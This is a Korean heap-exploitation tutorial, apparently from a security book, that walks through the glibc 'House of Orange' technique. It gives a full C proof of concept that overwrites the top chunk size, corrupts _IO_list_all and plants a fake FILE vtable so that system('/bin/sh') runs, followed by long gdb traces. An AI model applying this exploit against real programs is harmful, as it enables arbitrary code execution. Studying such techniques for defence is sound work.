- _IO_flush_all_lockp()는 "fp->_mode <= 0 && fp->_IO_write_ptr > fp→_IO_write_base" 조건을 만족하기 때문에 _IO_OVERFLOW()를 호출합니다.
- _IO_OVERFLOW()는 가짜 vtable(0x602460)을 이용하여 0x602478에 저장된 0x4006e5를 호출합니다.
Panel | ||
---|---|---|
| ||
Example
해당 코드는 앞에서 예로 설명한 코드입니다.
malloc()에 크기가 0x400 - 16인 메모리의 할당을 요청합니다.
Top chunk의 size 값을 0xc01으로 덮어쓰고, 크기가 0x1000인 메모리의 할당을 요청합니다.
- 호출 할 함수의 첫번째 인자값을 Unsorted chunk의 prev_size에, 0x61을 size에, io_list_all의 주소 - 0x10을 bk에 저장합니다.
그리고 Unsorted chunk 뒤쪽에 가짜 _IO_list_all(_IO_FILE, _IO_jump_t)을 작성한 후 크기가 0x10인 메모리 할당을 요청합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);
fprintf(stderr,"p1 : %p\n", p1);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
fprintf(stderr,"p2 : %p\n", p2);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
//struct _IO_jump_t
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
} |
- main_arena→top→size가 가지고 있는 값의 변화를 0x400693, 0x40069f에서 확인되고, malloc() 호출한 후에 main_arena의 변화를 0x4006ab에서 확인 합니다.
- main_arena→top의 주소를 이용하여 _IO_list_all의 주소를 찾는 방법을 0x4006dc, 0x4006e2에서 확인합니다.
- __libc_message(), _IO_flush_all_lockp()의 분석을 위해 Breakpoints를 0x400781에서 설정합니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Book/Heap$ gdb -q ./house_of_orange
Reading symbols from ./house_of_orange...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000000000400656 <+0>: push rbp
0x0000000000400657 <+1>: mov rbp,rsp
0x000000000040065a <+4>: sub rsp,0x30
0x000000000040065e <+8>: mov edi,0x3f0
0x0000000000400663 <+13>: call 0x400540 <malloc@plt>
0x0000000000400668 <+18>: mov QWORD PTR [rbp-0x30],rax
0x000000000040066c <+22>: mov rax,QWORD PTR [rip+0x2009ed] # 0x601060 <stderr@@GLIBC_2.2.5>
0x0000000000400673 <+29>: mov rdx,QWORD PTR [rbp-0x30]
0x0000000000400677 <+33>: mov esi,0x400834
0x000000000040067c <+38>: mov rdi,rax
0x000000000040067f <+41>: mov eax,0x0
0x0000000000400684 <+46>: call 0x400520 <fprintf@plt>
0x0000000000400689 <+51>: mov rax,QWORD PTR [rbp-0x30]
0x000000000040068d <+55>: add rax,0x3f0
0x0000000000400693 <+61>: mov QWORD PTR [rbp-0x28],rax
0x0000000000400697 <+65>: mov rax,QWORD PTR [rbp-0x28]
0x000000000040069b <+69>: add rax,0x8
0x000000000040069f <+73>: mov QWORD PTR [rax],0xc01
0x00000000004006a6 <+80>: mov edi,0x1000
0x00000000004006ab <+85>: call 0x400540 <malloc@plt>
0x00000000004006b0 <+90>: mov QWORD PTR [rbp-0x20],rax
0x00000000004006b4 <+94>: mov rax,QWORD PTR [rip+0x2009a5] # 0x601060 <stderr@@GLIBC_2.2.5>
0x00000000004006bb <+101>: mov rdx,QWORD PTR [rbp-0x20]
0x00000000004006bf <+105>: mov esi,0x40083d
0x00000000004006c4 <+110>: mov rdi,rax
0x00000000004006c7 <+113>: mov eax,0x0
0x00000000004006cc <+118>: call 0x400520 <fprintf@plt>
0x00000000004006d1 <+123>: mov rax,QWORD PTR [rbp-0x28]
0x00000000004006d5 <+127>: add rax,0x10
0x00000000004006d9 <+131>: mov rax,QWORD PTR [rax]
0x00000000004006dc <+134>: add rax,0x9a8
0x00000000004006e2 <+140>: mov QWORD PTR [rbp-0x18],rax
0x00000000004006e6 <+144>: mov rax,QWORD PTR [rbp-0x28]
0x00000000004006ea <+148>: add rax,0x18
0x00000000004006ee <+152>: mov rdx,QWORD PTR [rbp-0x18]
0x00000000004006f2 <+156>: sub rdx,0x10
0x00000000004006f6 <+160>: mov QWORD PTR [rax],rdx
0x00000000004006f9 <+163>: mov rax,QWORD PTR [rbp-0x28]
0x00000000004006fd <+167>: mov edx,0x8
0x0000000000400702 <+172>: mov esi,0x400846
0x0000000000400707 <+177>: mov rdi,rax
0x000000000040070a <+180>: call 0x400530 <memcpy@plt>
0x000000000040070f <+185>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400713 <+189>: add rax,0x8
0x0000000000400717 <+193>: mov QWORD PTR [rax],0x61
0x000000000040071e <+200>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400722 <+204>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400726 <+208>: mov rax,QWORD PTR [rbp-0x10]
0x000000000040072a <+212>: mov DWORD PTR [rax+0xc0],0x0
0x0000000000400734 <+222>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400738 <+226>: mov QWORD PTR [rax+0x20],0x2
0x0000000000400740 <+234>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400744 <+238>: mov QWORD PTR [rax+0x28],0x3
0x000000000040074c <+246>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400750 <+250>: add rax,0x60
0x0000000000400754 <+254>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400758 <+258>: mov rax,QWORD PTR [rbp-0x8]
0x000000000040075c <+262>: add rax,0x18
0x0000000000400760 <+266>: mov edx,0x40078d
0x0000000000400765 <+271>: mov QWORD PTR [rax],rdx
0x0000000000400768 <+274>: mov rax,QWORD PTR [rbp-0x10]
0x000000000040076c <+278>: add rax,0xd8
0x0000000000400772 <+284>: mov rdx,rax
0x0000000000400775 <+287>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400779 <+291>: mov QWORD PTR [rdx],rax
0x000000000040077c <+294>: mov edi,0xa
0x0000000000400781 <+299>: call 0x400540 <malloc@plt>
0x0000000000400786 <+304>: mov eax,0x0
0x000000000040078b <+309>: leave
0x000000000040078c <+310>: ret
End of assembler dump.
gdb-peda$ b *0x0000000000400693
Breakpoint 1 at 0x400693
gdb-peda$ b *0x000000000040069f
Breakpoint 2 at 0x40069f
gdb-peda$ b *0x00000000004006ab
Breakpoint 3 at 0x4006ab
gdb-peda$ b *0x00000000004006dc
Breakpoint 4 at 0x4006dc
gdb-peda$ b *0x00000000004006e2
Breakpoint 5 at 0x4006e2
gdb-peda$ b *0x0000000000400781
Breakpoint 6 at 0x400781
gdb-peda$ |
Top chunk의 주소(0x602400)를 메모리 할당 후에 변수 top(0x7fffffffe428)에 저장되고, top→size(0x602408)의 값을 0xc01으로 덮어씁니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/Heap/house_of_orange
p1 : 0x602010
Breakpoint 1, 0x0000000000400693 in main ()
gdb-peda$ x/4i $rip
=> 0x400693 <main+61>: mov QWORD PTR [rbp-0x28],rax
0x400697 <main+65>: mov rax,QWORD PTR [rbp-0x28]
0x40069b <main+69>: add rax,0x8
0x40069f <main+73>: mov QWORD PTR [rax],0xc01
gdb-peda$ i r rbp rax
rbp 0x7fffffffe5d0 0x7fffffffe5d0
rax 0x602400 0x602400
gdb-peda$ p/x 0x7fffffffe5d0 - 0x28
$1 = 0x7fffffffe5a8
gdb-peda$ p main_arena.top
$2 = (mchunkptr) 0x602400
gdb-peda$ c
Continuing.
Breakpoint 2, 0x000000000040069f in main ()
gdb-peda$ x/i $rip
=> 0x40069f <main+73>: mov QWORD PTR [rax],0xc01
gdb-peda$ i r rax
rax 0x602408 0x602408
gdb-peda$ p &main_arena.top.size
$3 = (size_t *) 0x602408
gdb-peda$ |
- 크기가 0x1000인 메모리 할당을 요청하면 확장된 메모리의 주소(0x602400 → 0x624010)가 main_arena.top에 저장됩니다.
- Top chunk가 변경되었기 때문에 main_arena.top.size의 값도 변경되며, 이전의 Top chunk는 Unsorted bin에 등록됩니다.
- 그리고 이전 Top chunk의 크기가 요청된 크기보다 작기 때문에 해당 Arena의 영역을 확장하였습니다.
- main_arena.system_mem과 max_system_mem의 값이 0x21000 에서 0x63000으로 확장되었습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 3, 0x00000000004006ab in main ()
gdb-peda$ x/i $rip
=> 0x4006ab <main+85>: call 0x400540 <malloc@plt>
gdb-peda$ i r rdi
rdi 0x1000 0x1000
gdb-peda$ p main_arena.top
$4 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.top.size
$5 = 0xc01
gdb-peda$ p main_arena.bins[0]
$6 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[1]
$7 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.system_mem
$8 = 0x21000
gdb-peda$ p main_arena.max_system_mem
$9 = 0x21000
gdb-peda$ ni
0x00000000004006b0 in main ()
gdb-peda$ p main_arena.top
$10 = (mchunkptr) 0x624010
gdb-peda$ p main_arena.top.size
$11 = 0x20ff1
gdb-peda$ p main_arena.bins[0]
$12 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[1]
$13 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.system_mem
$14 = 0x63000
gdb-peda$ p main_arena.max_system_mem
$15 = 0x63000
gdb-peda$ |
- 프로그램은 main_arena.top의 주소에서 0x9a8를 더한 값이 *_IO_list_all의 주소가 되며, 해당 값을 io_list_all에 저장합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
p2 : 0x623010
Breakpoint 4, 0x00000000004006dc in main ()
gdb-peda$ x/i $rip
=> 0x4006dc <main+134>: add rax,0x9a8
gdb-peda$ i r rax
rax 0x7ffff7dd1b78 0x7ffff7dd1b78
gdb-peda$ p &main_arena.top
$16 = (mchunkptr *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ x/gx 0x7ffff7dd1b78 + 0x9a8
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540
gdb-peda$ p _IO_list_all
$17 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
gdb-peda$ c
Continuing.
Breakpoint 5, 0x00000000004006e2 in main ()
gdb-peda$ x/i $rip'
Unmatched single quote.
gdb-peda$ x/i $rip
=> 0x4006e2 <main+140>: mov QWORD PTR [rbp-0x18],rax
gdb-peda$ i r rbp rax
rbp 0x7fffffffe5d0 0x7fffffffe5d0
rax 0x7ffff7dd2520 0x7ffff7dd2520
gdb-peda$ p 0x7fffffffe5d0 - 0x18
$18 = 0x7fffffffe5b8
gdb-peda$ x/gx 0x7ffff7dd2520
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540
gdb-peda$ |
- _IO_list_all의 주소에서 0x10을 뺀 값(0x7ffff7dd2520 - 0x10 = 0x7ffff7dd2510)을 main_arena.bins[0].bk(0x602418)에 저장합니다.
- 문자열 "/bin/sh"를 main_arena.bins[0].prev_size에 저장합니다.
- 0x602400에 가짜 _IO_list_all(_IO_FILE, _IO_jump_t)가 작성되었습니다.
- fp->_mode의 값은 0x0이고 _IO_write_base의 값은 0x2이며, _IO_write_ptr의 값은 0x3입니다.
- 해당 값들 인해 "fp->_mode <= 0 && fp->_IO_write_ptr > fp→_IO_write_base" 조건을 통과 할 수 있습니다.
- 0x602460가 가짜 vtable(0x6024d8)에 저장되어 있으며, 해당 값으로 부터 0x18이 떨어진 곳에 winner() 함수의 주소가 저장되어 있습니다.
Code Block | ||
---|---|---|
| ||
Breakpoint 6, 0x0000000000400781 in main ()
gdb-peda$ x/28gx 0x602400
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x602420: 0x0000000000000002 0x0000000000000003
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x000000000040078d
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
0x6024a0: 0x0000000000000000 0x0000000000000000
0x6024b0: 0x0000000000000000 0x0000000000000000
0x6024c0: 0x0000000000000000 0x0000000000000000
0x6024d0: 0x0000000000000000 0x0000000000602460
gdb-peda$ p main_arena.bins[0].bk
$19 = (struct malloc_chunk *) 0x7ffff7dd2510
gdb-peda$ p main_arena.bins[0].prev_size
$20 = 0x68732f6e69622f
gdb-peda$ x/s 0x602400
0x602400: "/bin/sh"
gdb-peda$ p (*(struct _IO_FILE *)0x602400)._mode
$21 = 0x0
gdb-peda$ p (*(struct _IO_FILE *)0x602400)._IO_write_base
$22 = 0x2 <error: Cannot access memory at address 0x2>
gdb-peda$ p (*(struct _IO_FILE *)0x602400)._IO_write_ptr
$23 = 0x3 <error: Cannot access memory at address 0x3>
gdb-peda$ p (*(struct _IO_jump_t*)0x602460).__overflow
$24 = (_IO_overflow_t) 0x40078d <winner>
gdb-peda$ |
- 크기가 10인 메모리 할당을 요청하면 할당자는 메모리 손상이 발생했다고 판단하고 malloc_printerr()를 호출합니다.
- 분석을 위해 __libc_message(), _IO_flush_all_lockp()의 주소를 Breakpoint로 설정합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 12, 0x0000000000400781 in main ()
gdb-peda$ p malloc_printerr
$25 = {void (int, const char *, void *, mstate)} 0x7ffff7a8a750 <malloc_printerr>
gdb-peda$ p __libc_message
$26 = {void (int, const char *, ...)} 0x7ffff7a84510 <__libc_message>
gdb-peda$ p _IO_flush_all_lockp
$27 = {int (int)} 0x7ffff7a89020 <_IO_flush_all_lockp>
gdb-peda$ b *0x7ffff7a8a750
Breakpoint 7 at 0x7ffff7a8a750: file malloc.c, line 4988.
gdb-peda$ b *0x7ffff7a84510
Breakpoint 8 at 0x7ffff7a84510: file ../sysdeps/posix/libc_fatal.c, line 68.
gdb-peda$ b *0x7ffff7a89020
Breakpoint 9 at 0x7ffff7a89020: file genops.c, line 760.
gdb-peda$ |
프로그램은 __libc_message() 함수에서 정지됩니다.
- 해당 함수를 호출하기 전에 코드들은 _int_malloc()이 malloc_printerr()를 호출하였고, malloc_printerr()은 __libc_message()를 호출했습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 15, __libc_message (do_abort=0x2, fmt=fmt@entry=0x7ffff7b9ded8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:68
68 ../sysdeps/posix/libc_fatal.c: No such file or directory.
gdb-peda$ bt
#0 __libc_message (do_abort=0x2, fmt=fmt@entry=0x7ffff7b9ded8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:68
#1 0x00007ffff7a8f13e in malloc_printerr (ar_ptr=0x7ffff7dd1b20 <main_arena>, ptr=0x7ffff7dd2520 <_IO_list_all>, str=0x7ffff7b9ad3f "malloc(): memory corruption", action=<optimized out>)
at malloc.c:5006
#2 _int_malloc (av=av@entry=0x7ffff7dd1b20 <main_arena>, bytes=bytes@entry=0xa) at malloc.c:3474
#3 0x00007ffff7a91184 in __GI___libc_malloc (bytes=0xa) at malloc.c:2913
#4 0x0000000000400786 in main ()
#5 0x00007ffff7a2d830 in __libc_start_main (main=0x400656 <main>, argc=0x1, argv=0x7fffffffe538, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe528)
at ../csu/libc-start.c:291
#6 0x0000000000400589 in _start ()
gdb-peda$ |
- _int_malloc()에 의해 _IO_list_all의 값이 main_arena.top의 주소가 되었습니다.
- 그리고 이전 Top chunk의 주소(0x602400)와 _IO_list_all에서 16뺀 주소가 Unsorted bin에 배치되었습니다.
- 이전 Top chunk는 Small bin에 해당 하는 main_arena.bins[10], main_arena.bins[11]에 배치되었습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ p _IO_list_all
$30 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ x/gx 0x7ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x0000000000624010
gdb-peda$ p &main_arena.top
$31 = (mchunkptr *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[0]
$32 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[1]
$33 = (mchunkptr) 0x7ffff7dd2510
gdb-peda$ p main_arena.bins[10]
$34 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[11]
$35 = (mchunkptr) 0x602400
gdb-peda$ |
- 코드를 실행하면 __libc_message()는 _int_malloc으로 부터 전달 받은 메시지를 출력하고, 추가로 Backtrace, Memory map 정보를 출력합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
*** Error in `/home/lazenca0x0/house_of_orange': malloc(): memory corruption: 0x00007ffff7dd2520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff7a847e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ffff7a8f13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a91184]
/home/lazenca0x0/house_of_orange[0x400786]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d830]
/home/lazenca0x0/house_of_orange[0x400589]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 155963 /home/lazenca0x0/house_of_orange
00600000-00601000 r--p 00000000 08:01 155963 /home/lazenca0x0/house_of_orange
00601000-00602000 rw-p 00001000 08:01 155963 /home/lazenca0x0/house_of_orange
00602000-00645000 rw-p 00000000 00:00 0 [heap]
7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0
7ffff0021000-7ffff4000000 ---p 00000000 00:00 0
7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 397801 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 397801 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 397801 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 397763 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 397763 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 397763 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 397763 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 397735 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fda000-7ffff7fdd000 rw-p 00000000 00:00 0
7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 397735 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 397735 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
gdb-peda$ |
- _IO_flush_all_lockp()의 동작을 확인하기 위해 다음과 같이 Breakpoints를 설정합니다.
- run_fp에 저장되는 값을 0x7ffff7a89106에서 확인하고, fp->_mode의 값을 0x7ffff7a89165에서 확인합니다.
- fp→_IO_write_base, fp→_IO_write_ptr의 값을 0x7ffff7a89280에서 확인하고, fp→_chain이 가지고 있는 값을 0x7ffff7a8920a에서 확인합니다.
- 호출되는 함수를 0x7ffff7a89184에서 확인합니다.
Code Block | ||
---|---|---|
| ||
Breakpoint 9, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:760
760 genops.c: No such file or directory.
gdb-peda$ disassemble _IO_flush_all_lockp
Dump of assembler code for function _IO_flush_all_lockp:
=> 0x00007ffff7a89020 <+0>: push r15
0x00007ffff7a89022 <+2>: push r14
0x00007ffff7a89024 <+4>: mov r14d,edi
0x00007ffff7a89027 <+7>: push r13
0x00007ffff7a89029 <+9>: push r12
0x00007ffff7a8902b <+11>: push rbp
0x00007ffff7a8902c <+12>: push rbx
0x00007ffff7a8902d <+13>: sub rsp,0x28
0x00007ffff7a89031 <+17>: test edi,edi
0x00007ffff7a89033 <+19>: je 0x7ffff7a89260 <_IO_flush_all_lockp+576>
0x00007ffff7a89039 <+25>: mov r13d,DWORD PTR [rip+0x34d6f0] # 0x7ffff7dd6730 <__libc_pthread_functions_init>
0x00007ffff7a89040 <+32>: test r13d,r13d
0x00007ffff7a89043 <+35>: jne 0x7ffff7a892e0 <_IO_flush_all_lockp+704>
0x00007ffff7a89049 <+41>: lea rax,[rip+0xffffffffffffe8e0] # 0x7ffff7a87930 <flush_cleanup>
0x00007ffff7a89050 <+48>: mov QWORD PTR [rsp+0x8],0x0
0x00007ffff7a89059 <+57>: mov QWORD PTR [rsp],rax
0x00007ffff7a8905d <+61>: mov rdx,QWORD PTR fs:0x10
0x00007ffff7a89066 <+70>: cmp rdx,QWORD PTR [rip+0x34a6fb] # 0x7ffff7dd3768 <list_all_lock+8>
0x00007ffff7a8906d <+77>: je 0x7ffff7a890b5 <_IO_flush_all_lockp+149>
0x00007ffff7a8906f <+79>: mov esi,0x1
0x00007ffff7a89074 <+84>: xor eax,eax
0x00007ffff7a89076 <+86>: cmp DWORD PTR [rip+0x34d6c3],0x0 # 0x7ffff7dd6740 <__libc_multiple_threads>
0x00007ffff7a8907d <+93>: je 0x7ffff7a8908b <_IO_flush_all_lockp+107>
0x00007ffff7a8907f <+95>: lock cmpxchg DWORD PTR [rip+0x34a6d9],esi # 0x7ffff7dd3760 <list_all_lock>
0x00007ffff7a89087 <+103>: jne 0x7ffff7a89094 <_IO_flush_all_lockp+116>
0x00007ffff7a89089 <+105>: jmp 0x7ffff7a890ae <_IO_flush_all_lockp+142>
0x00007ffff7a8908b <+107>: cmpxchg DWORD PTR [rip+0x34a6ce],esi # 0x7ffff7dd3760 <list_all_lock>
0x00007ffff7a89092 <+114>: je 0x7ffff7a890ae <_IO_flush_all_lockp+142>
0x00007ffff7a89094 <+116>: lea rdi,[rip+0x34a6c5] # 0x7ffff7dd3760 <list_all_lock>
0x00007ffff7a8909b <+123>: sub rsp,0x80
0x00007ffff7a890a2 <+130>: call 0x7ffff7b22080 <__lll_lock_wait_private>
0x00007ffff7a890a7 <+135>: add rsp,0x80
0x00007ffff7a890ae <+142>: mov QWORD PTR [rip+0x34a6b3],rdx # 0x7ffff7dd3768 <list_all_lock+8>
0x00007ffff7a890b5 <+149>: mov eax,DWORD PTR [rip+0x34a6a9] # 0x7ffff7dd3764 <list_all_lock+4>
0x00007ffff7a890bb <+155>: mov rbx,QWORD PTR [rip+0x34945e] # 0x7ffff7dd2520 <_IO_list_all>
0x00007ffff7a890c2 <+162>: mov r15d,DWORD PTR [rip+0x34a68f] # 0x7ffff7dd3758 <_IO_list_all_stamp>
0x00007ffff7a890c9 <+169>: add eax,0x1
0x00007ffff7a890cc <+172>: test rbx,rbx
0x00007ffff7a890cf <+175>: mov DWORD PTR [rip+0x34a68f],eax # 0x7ffff7dd3764 <list_all_lock+4>
0x00007ffff7a890d5 <+181>: je 0x7ffff7a89307 <_IO_flush_all_lockp+743>
0x00007ffff7a890db <+187>: xor ebp,ebp
0x00007ffff7a890dd <+189>: mov r12,QWORD PTR fs:0x10
0x00007ffff7a890e6 <+198>: jmp 0x7ffff7a89103 <_IO_flush_all_lockp+227>
0x00007ffff7a890e8 <+200>: nop DWORD PTR [rax+rax*1+0x0]
0x00007ffff7a890f0 <+208>: mov rbx,QWORD PTR [rip+0x349429] # 0x7ffff7dd2520 <_IO_list_all>
0x00007ffff7a890f7 <+215>: test rbx,rbx
0x00007ffff7a890fa <+218>: je 0x7ffff7a89217 <_IO_flush_all_lockp+503>
0x00007ffff7a89100 <+224>: mov r15d,eax
0x00007ffff7a89103 <+227>: test r14d,r14d
0x00007ffff7a89106 <+230>: mov QWORD PTR [rip+0x34a643],rbx # 0x7ffff7dd3750 <run_fp>
0x00007ffff7a8910d <+237>: je 0x7ffff7a89165 <_IO_flush_all_lockp+325>
0x00007ffff7a8910f <+239>: mov eax,DWORD PTR [rbx]
0x00007ffff7a89111 <+241>: and eax,0x8000
0x00007ffff7a89116 <+246>: jne 0x7ffff7a89165 <_IO_flush_all_lockp+325>
0x00007ffff7a89118 <+248>: mov rdx,QWORD PTR [rbx+0x88]
0x00007ffff7a8911f <+255>: cmp r12,QWORD PTR [rdx+0x8]
0x00007ffff7a89123 <+259>: je 0x7ffff7a89161 <_IO_flush_all_lockp+321>
0x00007ffff7a89125 <+261>: mov esi,0x1
0x00007ffff7a8912a <+266>: cmp DWORD PTR [rip+0x34d60f],0x0 # 0x7ffff7dd6740 <__libc_multiple_threads>
0x00007ffff7a89131 <+273>: je 0x7ffff7a8913b <_IO_flush_all_lockp+283>
0x00007ffff7a89133 <+275>: lock cmpxchg DWORD PTR [rdx],esi
0x00007ffff7a89137 <+279>: jne 0x7ffff7a89140 <_IO_flush_all_lockp+288>
0x00007ffff7a89139 <+281>: jmp 0x7ffff7a89156 <_IO_flush_all_lockp+310>
0x00007ffff7a8913b <+283>: cmpxchg DWORD PTR [rdx],esi
0x00007ffff7a8913e <+286>: je 0x7ffff7a89156 <_IO_flush_all_lockp+310>
0x00007ffff7a89140 <+288>: lea rdi,[rdx]
0x00007ffff7a89143 <+291>: sub rsp,0x80
0x00007ffff7a8914a <+298>: call 0x7ffff7b22080 <__lll_lock_wait_private>
0x00007ffff7a8914f <+303>: add rsp,0x80
0x00007ffff7a89156 <+310>: mov rdx,QWORD PTR [rbx+0x88]
0x00007ffff7a8915d <+317>: mov QWORD PTR [rdx+0x8],r12
0x00007ffff7a89161 <+321>: add DWORD PTR [rdx+0x4],0x1
0x00007ffff7a89165 <+325>: mov eax,DWORD PTR [rbx+0xc0]
0x00007ffff7a8916b <+331>: test eax,eax
0x00007ffff7a8916d <+333>: jle 0x7ffff7a89280 <_IO_flush_all_lockp+608>
0x00007ffff7a89173 <+339>: mov rax,QWORD PTR [rbx+0xa0]
0x00007ffff7a8917a <+346>: mov rcx,QWORD PTR [rax+0x18]
0x00007ffff7a8917e <+350>: cmp QWORD PTR [rax+0x20],rcx
0x00007ffff7a89182 <+354>: jbe 0x7ffff7a891a1 <_IO_flush_all_lockp+385>
0x00007ffff7a89184 <+356>: mov rax,QWORD PTR [rbx+0xd8]
0x00007ffff7a8918b <+363>: mov esi,0xffffffff
0x00007ffff7a89190 <+368>: mov rdi,rbx
0x00007ffff7a89193 <+371>: call QWORD PTR [rax+0x18]
0x00007ffff7a89196 <+374>: cmp eax,0xffffffff
0x00007ffff7a89199 <+377>: mov eax,0xffffffff
0x00007ffff7a8919e <+382>: cmove ebp,eax
0x00007ffff7a891a1 <+385>: test r14d,r14d
0x00007ffff7a891a4 <+388>: je 0x7ffff7a891f0 <_IO_flush_all_lockp+464>
0x00007ffff7a891a6 <+390>: test DWORD PTR [rbx],0x8000
0x00007ffff7a891ac <+396>: jne 0x7ffff7a891f0 <_IO_flush_all_lockp+464>
0x00007ffff7a891ae <+398>: mov rdx,QWORD PTR [rbx+0x88]
0x00007ffff7a891b5 <+405>: sub DWORD PTR [rdx+0x4],0x1
0x00007ffff7a891b9 <+409>: jne 0x7ffff7a891f0 <_IO_flush_all_lockp+464>
0x00007ffff7a891bb <+411>: mov QWORD PTR [rdx+0x8],0x0
0x00007ffff7a891c3 <+419>: cmp DWORD PTR [rip+0x34d576],0x0 # 0x7ffff7dd6740 <__libc_multiple_threads>
0x00007ffff7a891ca <+426>: je 0x7ffff7a891d3 <_IO_flush_all_lockp+435>
0x00007ffff7a891cc <+428>: lock dec DWORD PTR [rdx]
0x00007ffff7a891cf <+431>: jne 0x7ffff7a891d7 <_IO_flush_all_lockp+439>
0x00007ffff7a891d1 <+433>: jmp 0x7ffff7a891ed <_IO_flush_all_lockp+461>
0x00007ffff7a891d3 <+435>: dec DWORD PTR [rdx]
0x00007ffff7a891d5 <+437>: je 0x7ffff7a891ed <_IO_flush_all_lockp+461>
0x00007ffff7a891d7 <+439>: lea rdi,[rdx]
0x00007ffff7a891da <+442>: sub rsp,0x80
0x00007ffff7a891e1 <+449>: call 0x7ffff7b220b0 <__lll_unlock_wake_private>
0x00007ffff7a891e6 <+454>: add rsp,0x80
0x00007ffff7a891ed <+461>: nop DWORD PTR [rax]
